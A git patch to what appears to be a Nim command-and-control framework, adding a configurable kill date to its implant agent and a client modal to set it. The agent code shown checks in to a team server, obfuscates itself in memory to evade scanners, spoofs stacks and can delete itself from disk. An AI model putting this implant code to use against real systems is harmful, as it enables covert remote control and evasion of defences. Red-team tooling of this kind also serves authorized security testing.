From 7f89487fb737304bd853ad0df0a3a91539a3153e Mon Sep 17 00:00:00 2001 From: Jakob Friedl <71284620+jakobfriedl@users.noreply.github.com> Date: Tue, 28 Oct 2025 21:01:10 +0100 Subject: [PATCH] Implemented agent kill date. --- src/agent/core/context.nim | 1 + src/agent/main.nim | 66 +++++----- src/agent/nim.cfg | 4 +- src/client/config.nims | 1 + src/client/main.nim | 3 + src/client/views/modals/configureKillDate.nim | 118 ++++++++++++++++++ src/client/views/modals/generatePayload.nim | 30 +++++ src/common/sequence.nim | 30 ++--- src/common/types.nim | 17 +-- src/modules/exit.nim | 8 +- src/modules/manager.nim | 2 +- src/server/core/builder.nim | 7 +- 12 files changed, 217 insertions(+), 70 deletions(-) create mode 100644 src/client/views/modals/configureKillDate.nim diff --git a/src/agent/core/context.nim b/src/agent/core/context.nim index 48748db..8ace33d 100644 --- a/src/agent/core/context.nim +++ b/src/agent/core/context.nim @@ -35,6 +35,7 @@ proc deserializeConfiguration(config: string): AgentCtx = sleepTechnique: cast[SleepObfuscationTechnique](unpacker.getUint8()), spoofStack: cast[bool](unpacker.getUint8()) ), + killDate: cast[int64](unpacker.getUint64()), sessionKey: deriveSessionKey(agentKeyPair, unpacker.getByteArray(Key)), agentPublicKey: agentKeyPair.publicKey, profile: parseString(unpacker.getDataWithLengthPrefix()), diff --git a/src/agent/main.nim b/src/agent/main.nim index 0c2a35e..5f19fa8 100644 --- a/src/agent/main.nim +++ b/src/agent/main.nim @@ -1,6 +1,6 @@ import strformat, os, times, system, base64, random -import core/[http, context, sleepmask] +import core/[http, context, sleepmask, exit] import utils/io import protocol/[task, result, heartbeat, registration] import ../common/[types, utils, crypto] @@ -13,43 +13,43 @@ proc main() = if ctx == nil: quit(0) - # Create registration payload - var registration: AgentRegistrationData = ctx.collectAgentMetadata() - let registrationBytes = ctx.serializeRegistrationData(registration) - - if ctx.httpPost(registrationBytes): - print fmt"[+] [{ctx.agentId}] Agent registered." - ctx.registered = true - else: - print "[-] Agent registration failed." - #[ Agent routine: - 1. Sleep Obfuscation - 2. Register to the team server if not already register - 3. Retrieve tasks via checkin request to a GET endpoint - 4. Execute task and post result - 5. If additional tasks have been fetched, go to 3. - 6. If no more tasks need to be executed, go to 1. + 1. Check kill date + 2. Sleep Obfuscation + 3. Register to the team server if not already connected + 4. Retrieve tasks via checkin request to a GET endpoint + 5. Execute task and post result + 6. If additional tasks have been fetched, go to 3. + 7. If no more tasks need to be executed, go to 1. ]# while true: - - # Sleep obfuscation to evade memory scanners - sleepObfuscate(ctx.sleepSettings) - - # Register - if not ctx.registered: - if ctx.httpPost(registrationBytes): - print fmt"[+] [{ctx.agentId}] Agent registered." - ctx.registered = true - else: - print "[-] Agent registration failed." - continue - - let date: string = now().format(protect("dd-MM-yyyy HH:mm:ss")) - print "\n", fmt"[*] [{date}] Checking in." - try: + # Check kill date and exit the agent process if it is already passed + if ctx.killDate != 0 and now().toTime().toUnix().int64 >= ctx.killDate: + print "[*] Reached kill date: ", ctx.killDate.fromUnix().utc().format("dd-MM-yyyy HH:mm:ss"), " (UTC)." + print "[*] Exiting." + exit() + + # Sleep obfuscation to evade memory scanners + sleepObfuscate(ctx.sleepSettings) + + # Register + if not ctx.registered: + # Create registration payload + var registration: AgentRegistrationData = ctx.collectAgentMetadata() + let registrationBytes = ctx.serializeRegistrationData(registration) + + if ctx.httpPost(registrationBytes): + print fmt"[+] [{ctx.agentId}] Agent registered." + ctx.registered = true + else: + print "[-] Agent registration failed." + continue + + let date: string = now().format(protect("dd-MM-yyyy HH:mm:ss")) + print "\n", fmt"[*] [{date}] Checking in." + # Retrieve task queue for the current agent by sending a check-in/heartbeat request # The check-in request contains the agentId and listenerId, so the server knows which tasks to return var heartbeat: Heartbeat = ctx.createHeartbeat() diff --git a/src/agent/nim.cfg b/src/agent/nim.cfg index b391a67..0dd09bd 100644 --- a/src/agent/nim.cfg +++ b/src/agent/nim.cfg @@ -3,7 +3,7 @@ -d:release --opt:size --passL:"-s" # Strip symbols, such as sensitive function names --d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER" +-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER" -d:MODULES="511" --d:VERBOSE="false" +-d:VERBOSE="true" -o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe" \ No newline at end of file diff --git a/src/client/config.nims b/src/client/config.nims index b211cf0..b49c8a6 100644 --- a/src/client/config.nims +++ b/src/client/config.nims @@ -3,6 +3,7 @@ switch "o", "bin/client" switch "d", "ssl" switch "d", "client" switch "d", "ImGuiTextSelect" +switch "d", "ImPlotEnable" # Select compiler var TC = "gcc" diff --git a/src/client/main.nim b/src/client/main.nim index 43f3d27..9f8e664 100644 --- a/src/client/main.nim +++ b/src/client/main.nim @@ -11,6 +11,9 @@ proc main(ip: string = "localhost", port: int = 37573) = var app = createApp(1024, 800, imnodes = true, title = "Conquest", docking = true) defer: app.destroyApp() + var imPlotContext = ImPlot_CreateContext() + defer: imPlotContext.ImPlotDestroyContext() + var profile: Profile views: Table[string, ptr bool] diff --git a/src/client/views/modals/configureKillDate.nim b/src/client/views/modals/configureKillDate.nim new file mode 100644 index 0000000..d097d25 --- /dev/null +++ b/src/client/views/modals/configureKillDate.nim @@ -0,0 +1,118 @@ +import strutils, sequtils, times +import imguin/[cimgui, glfw_opengl, simple] +import ../../utils/[appImGui, colors] + +type + KillDateModalComponent* = ref object of RootObj + killDateTime: ImPlotTime + killDateLevel: cint + killDateHour: cint + killDateMinute: cint + killDateSecond: cint + +proc KillDateModal*(): KillDateModalComponent = + result = new KillDateModalComponent + result.killDateLevel = 0 + result.killDateTime = ImPlotTIme() + + # Initialize to current date + # Note: ImPlot starts months at index 0, while nim's "times" module starts at 1, hence the subtraction + let now = now() + ImPlot_MakeTime(addr result.killDateTime, now.year.cint, (now.month.ord.cint - 1), now.monthday.cint, 0, 0, 0, 0) + + result.killDateHour = 0 + result.killDateMinute = 0 + result.killDateSecond = 0 + +proc wrapValue(value: cint, max: cint): cint = + result = value mod max + if result < 0: + result += max + +proc resetModalValues*(component: KillDateModalComponent) = + component.killDateLevel = 0 + component.killDateTime = ImPlotTIme() + + # Initialize to current date + let now = now() + ImPlot_MakeTime(addr component.killDateTime, now.year.cint, (now.month.ord.cint - 1), now.monthday.cint, 0, 0, 0, 0) + + component.killDateHour = 0 + component.killDateMinute = 0 + component.killDateSecond = 0 + +proc draw*(component: KillDateModalComponent): int64 = + result = 0 + + # Center modal + let vp = igGetMainViewport() + var center: ImVec2 + ImGuiViewport_GetCenter(addr center, vp) + igSetNextWindowPos(center, ImGuiCond_Appearing.int32, vec2(0.5f, 0.5f)) + + let modalWidth = max(400.0f, vp.Size.x * 0.2) + igSetNextWindowSize(vec2(modalWidth, 0.0f), ImGuiCond_Always.int32) + + var show = true + let windowFlags = ImGuiWindowFlags_None.int32 + if igBeginPopupModal("Configure Kill Date", addr show, windowFlags): + defer: igEndPopup() + + let textSpacing = igGetStyle().ItemSpacing.x + var availableSize: ImVec2 + + # Date picker + if ImPlot_ShowDatePicker("##KillDate", addr component.killDateLevel, addr component.killDateTime, nil, nil): + discard + + igDummy(vec2(0.0f, 10.0f)) + igSeparator() + igDummy(vec2(0.0f, 10.0f)) + + # Time input fields + var charSize: ImVec2 + igCalcTextSize(addr charSize, "00", nil, false, -1.0) + let charWidth = charSize.x + 10.0f + + let dateText = component.killDateTime.S.fromUnix().utc().format("dd. MMMM yyyy") & '\0' + igInputText("##Text", dateText, dateText.len().csize_t, ImGui_InputTextFlags_ReadOnly.int32, nil, nil) + igSameLine(0.0f, textSpacing) + + igPushItemWidth(charWidth) + igInputScalar("##KillDateHour", ImGuiDataType_S32.int32, addr component.killDateHour, nil, nil, "%02d", 0) + igPopItemWidth() + igSameLine(0.0f, 0.0f) + igText(":") + igSameLine(0.0f, 0.0f) + igPushItemWidth(charWidth) + igInputScalar("##HillDateMinute", ImGuiDataType_S32.int32, addr component.killDateMinute, nil, nil, "%02d", 0) + igPopItemWidth() + igSameLine(0.0f, 0.0f) + igText(":") + igSameLine(0.0f, 0.0f) + igPushItemWidth(charWidth) + igInputScalar("##KillDateSecond", ImGuiDataType_S32.int32, addr component.killDateSecond, nil, nil, "%02d", 0) + igPopItemWidth() + + # Wrap time values + component.killDateHour = wrapValue(component.killDateHour, 24) + component.killDateMinute = wrapValue(component.killDateMinute, 60) + component.killDateSecond = wrapValue(component.killDateSecond, 60) + + igGetContentRegionAvail(addr availableSize) + + igDummy(vec2(0.0f, 10.0f)) + igSeparator() + igDummy(vec2(0.0f, 10.0f)) + + # OK and Cancel buttons + if igButton("OK", vec2(availableSize.x * 0.5 - textSpacing * 0.5, 0.0f)): + result = component.killDateTime.S + (component.killDateHour * 3600) + (component.killDateMinute * 60) + component.killDateSecond + component.resetModalValues() + igCloseCurrentPopup() + + igSameLine(0.0f, textSpacing) + + if igButton("Cancel", vec2(availableSize.x * 0.5 - textSpacing * 0.5, 0.0f)): + component.resetModalValues() + igCloseCurrentPopup() \ No newline at end of file diff --git a/src/client/views/modals/generatePayload.nim b/src/client/views/modals/generatePayload.nim index 05d2c4f..2086328 100644 --- a/src/client/views/modals/generatePayload.nim +++ b/src/client/views/modals/generatePayload.nim @@ -4,6 +4,7 @@ import ../../utils/[appImGui, colors] import ../../../common/[types, profile, utils] import ../../../modules/manager import ../widgets/[dualListSelection, textarea] +import ./configureKillDate export addItem type @@ -13,10 +14,13 @@ type jitter: int32 sleepMask: int32 spoofStack: bool + killDateEnabled: bool + killDate: int64 verbose: bool sleepMaskTechniques: seq[string] moduleSelection: DualListSelectionWidget[Module] buildLog*: TextareaWidget + killDateModal*: KillDateModalComponent proc AgentModal*(): AgentModalComponent = @@ -26,6 +30,8 @@ proc AgentModal*(): AgentModalComponent = result.jitter = 15 result.sleepMask = 0 result.spoofStack = false + result.killDateEnabled = false + result.killDate = 0 result.verbose = false for technique in SleepObfuscationTechnique.low .. SleepObfuscationTechnique.high: @@ -43,6 +49,7 @@ proc AgentModal*(): AgentModalComponent = result.moduleSelection = DualListSelection(modules, moduleName, compareModules, moduleDesc) result.buildLog = Textarea(showTimestamps = false) + result.killDateModal = KillDateModal() proc resetModalValues*(component: AgentModalComponent) = component.listener = 0 @@ -50,6 +57,8 @@ proc resetModalValues*(component: AgentModalComponent) = component.jitter = 15 component.sleepMask = 0 component.spoofStack = false + component.killDateEnabled = false + component.killDate = 0 component.verbose = false component.moduleSelection.reset() component.buildLog.clear() @@ -122,6 +131,26 @@ proc draw*(component: AgentModalComponent, listeners: seq[UIListener]): AgentBui igSeparator() igDummy(vec2(0.0f, 10.0f)) + # Kill date (checkbox & button to choose date) + igText("Kill date: ") + igSameLine(0.0f, textSpacing) + igCheckbox("##InputKillDate", addr component.killDateEnabled) + igSameLine(0.0f, textSpacing) + igBeginDisabled(not component.killDateEnabled) + igGetContentRegionAvail(addr availableSize) + igSetNextItemWidth(availableSize.x) + if igButton(if component.killDate != 0: component.killDate.fromUnix().utc().format("dd. MMMM yyyy HH:mm:ss") else: "Configure", vec2(-1.0f, 0.0f)): + igOpenPopup_str("Configure Kill Date", ImGui_PopupFlags_None.int32) + igEndDisabled() + + let killDate = component.killDateModal.draw() + if killDate != 0: + component.killDate = killDate + + igDummy(vec2(0.0f, 10.0f)) + igSeparator() + igDummy(vec2(0.0f, 10.0f)) + igText("Modules: ") component.moduleSelection.draw() @@ -161,6 +190,7 @@ proc draw*(component: AgentModalComponent, listeners: seq[UIListener]): AgentBui spoofStack: component.spoofStack ), verbose: component.verbose, + killDate: if component.killDateEnabled: component.killDate else: 0, modules: modules ) diff --git a/src/common/sequence.nim b/src/common/sequence.nim index ea8dad6..3d535b9 100644 --- a/src/common/sequence.nim +++ b/src/common/sequence.nim @@ -8,23 +8,23 @@ proc nextSequence*(agentId: uint32): uint32 = return sequenceTable[agentId] proc validateSequence(agentId: uint32, seqNr: uint32, packetType: uint8): bool = - # let lastSeqNr = sequenceTable.getOrDefault(agentId, 0'u32) + let lastSeqNr = sequenceTable.getOrDefault(agentId, 0'u32) - # # Heartbeat messages are not used for sequence tracking - # if cast[PacketType](packetType) == MSG_HEARTBEAT: - # return true + # Heartbeat messages are not used for sequence tracking + if cast[PacketType](packetType) == MSG_HEARTBEAT: + return true - # # In order to keep agents running after server restart, accept all connection with seqNr = 1, to update the table - # if seqNr == 1'u32: - # sequenceTable[agentId] = seqNr - # return true + # In order to keep agents running after server restart, accept all connection with seqNr = 1, to update the table + if seqNr == 1'u32: + sequenceTable[agentId] = seqNr + return true - # # Validate that the sequence number of the current packet is higher than the currently stored one - # if seqNr <= lastSeqNr: - # return false + # Validate that the sequence number of the current packet is higher than the currently stored one + if seqNr < lastSeqNr: + return false - # # Update sequence number - # sequenceTable[agentId] = seqNr + # Update sequence number + sequenceTable[agentId] = seqNr return true proc validatePacket*(header: Header, expectedType: uint8) = @@ -38,5 +38,5 @@ proc validatePacket*(header: Header, expectedType: uint8) = raise newException(CatchableError, protect("Invalid packet type.")) # Validate sequence number - if not validateSequence(header.agentId, header.seqNr, header.packetType): - raise newException(CatchableError, protect("Invalid sequence number.")) + # if not validateSequence(header.agentId, header.seqNr, header.packetType): + # raise newException(CatchableError, protect("Invalid sequence number.")) diff --git a/src/common/types.nim b/src/common/types.nim index bde4caf..1769099 100644 --- a/src/common/types.nim +++ b/src/common/types.nim @@ -59,7 +59,7 @@ type CMD_ENABLE_PRIV = 22'u16 CMD_DISABLE_PRIV = 23'u16 CMD_EXIT = 24'u16 - CMD_SELF_DESTROY = 25'u16 + CMD_SELF_DESTRUCT = 25'u16 StatusType* = enum STATUS_COMPLETED = 0'u8 @@ -113,17 +113,6 @@ type MODULE_SITUATIONAL_AWARENESS = 128'u32 MODULE_TOKEN = 256'u32 -# Custom iterator for ModuleType, as it uses powers of 2 instead of standard increments -iterator items*(e: typedesc[ModuleType]): ModuleType = - yield MODULE_SLEEP - yield MODULE_SHELL - yield MODULE_BOF - yield MODULE_DOTNET - yield MODULE_FILESYSTEM - yield MODULE_FILETRANSFER - yield MODULE_SCREENSHOT - yield MODULE_SITUATIONAL_AWARENESS - # Encryption type Uuid* = uint32 @@ -333,6 +322,7 @@ type listenerId*: string hosts*: string sleepSettings*: SleepSettings + killDate*: int64 sessionKey*: Key agentPublicKey*: Key profile*: Profile @@ -373,8 +363,9 @@ type AgentBuildInformation* = ref object listenerId*: string - sleepSettings*: SleepSettings + sleepSettings*: SleepSettings verbose*: bool + killDate*: int64 modules*: uint32 LootItemType* = enum diff --git a/src/modules/exit.nim b/src/modules/exit.nim index 6de4ef4..9c1c831 100644 --- a/src/modules/exit.nim +++ b/src/modules/exit.nim @@ -17,10 +17,10 @@ let commands* = @[ execute: executeExit ), Command( - name: protect("self-destroy"), - commandType: CMD_SELF_DESTROY, + name: protect("self-destruct"), + commandType: CMD_SELF_DESTRUCT, description: protect("Exit the agent and delete the executable from disk."), - example: protect("self-destroy"), + example: protect("self-destruct"), arguments: @[ ], execute: executeSelfDestroy @@ -55,7 +55,7 @@ when defined(agent): proc executeSelfDestroy(ctx: AgentCtx, task: Task): TaskResult = try: - print " [>] Self-destroying." + print " [>] Self-destructing." exit(EXIT_PROCESS, true) except CatchableError as err: diff --git a/src/modules/manager.nim b/src/modules/manager.nim index f76d797..e49c120 100644 --- a/src/modules/manager.nim +++ b/src/modules/manager.nim @@ -103,7 +103,7 @@ proc getModules*(modules: uint32 = 0): seq[Module] = proc getCommands*(modules: uint32 = 0): seq[Command] = # House-keeping result.add(manager.commandsByType[CMD_EXIT]) - result.add(manager.commandsByType[CMD_SELF_DESTROY]) + result.add(manager.commandsByType[CMD_SELF_DESTRUCT]) # Modules if modules == 0: diff --git a/src/server/core/builder.nim b/src/server/core/builder.nim index 7730216..8eafae2 100644 --- a/src/server/core/builder.nim +++ b/src/server/core/builder.nim @@ -7,7 +7,7 @@ import ../../common/[types, utils, serialize, crypto] const PLACEHOLDER = "PLACEHOLDER" -proc serializeConfiguration(cq: Conquest, listener: Listener, sleepSettings: SleepSettings): seq[byte] = +proc serializeConfiguration(cq: Conquest, listener: Listener, sleepSettings: SleepSettings, killDate: int64): seq[byte] = var packer = Packer.init() @@ -24,6 +24,9 @@ proc serializeConfiguration(cq: Conquest, listener: Listener, sleepSettings: Sle packer.add(uint8(sleepSettings.sleepTechnique)) packer.add(uint8(sleepSettings.spoofStack)) + # Kill date + packer.add(uint64(killDate)) + # Public key for key exchange packer.addData(cq.keyPair.publicKey) @@ -157,7 +160,7 @@ proc agentBuild*(cq: Conquest, agentBuildInformation: AgentBuildInformation): se let listener = cq.listeners[agentBuildInformation.listenerId] - var config = cq.serializeConfiguration(listener, agentBuildInformation.sleepSettings) + var config = cq.serializeConfiguration(listener, agentBuildInformation.sleepSettings, agentBuildInformation.killDate) let unpatchedExePath = cq.compile(config.len(), agentBuildInformation.modules, agentBuildInformation.verbose) if unpatchedExePath.isEmptyOrWhitespace():